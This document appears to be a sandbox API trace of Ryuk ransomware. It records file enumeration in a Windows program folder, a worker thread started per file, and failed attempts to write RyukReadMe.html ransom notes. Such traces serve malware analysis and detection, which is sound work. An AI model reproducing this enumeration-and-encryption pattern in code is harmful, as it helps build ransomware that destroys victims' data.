	[0181.243] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x76, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1
	[0181.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28
	[0181.476] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.494] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x76, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1
	[0181.494] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c
	[0181.500] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.501] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x76, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0
	[0181.501] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0181.503] SetLastError (dwErrCode=0x0) 
	[0181.503] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.515] GetLastError () returned 0x5
	[0181.515] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0181.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.515] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1
	[0181.515] SetLastError (dwErrCode=0x0) 
	[0181.515] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.515] GetLastError () returned 0x5
	[0181.516] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0181.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0181.523] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.523] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0181.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30
	[0181.527] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.527] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1
	[0181.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34
	[0181.530] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.530] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0181.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38
	[0181.533] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.533] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1
	[0181.534] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd3c
	[0181.741] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.794] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0181.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40
	[0181.800] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.801] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0181.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd44
	[0181.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.804] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0181.804] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd48
	[0181.806] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.807] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0181.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c
	[0181.809] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.809] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0181.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd50
	[0181.812] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.813] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0181.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd54
	[0181.816] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.817] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x76, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1
	[0181.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58
	[0181.819] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.820] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x76, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1
	[0181.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd5c
	[0181.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.823] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x76, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0
	[0181.824] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0181.826] SetLastError (dwErrCode=0x0) 
	[0181.826] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.837] GetLastError () returned 0x5
	[0181.838] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0181.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.838] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.838] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8
	[0181.841] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.842] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.842] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60
	[0181.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.845] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64
	[0181.848] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.848] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.848] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68
	[0181.851] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.852] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c
	[0181.854] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.855] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.855] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70
	[0181.858] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.858] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0181.858] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74
	[0181.861] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
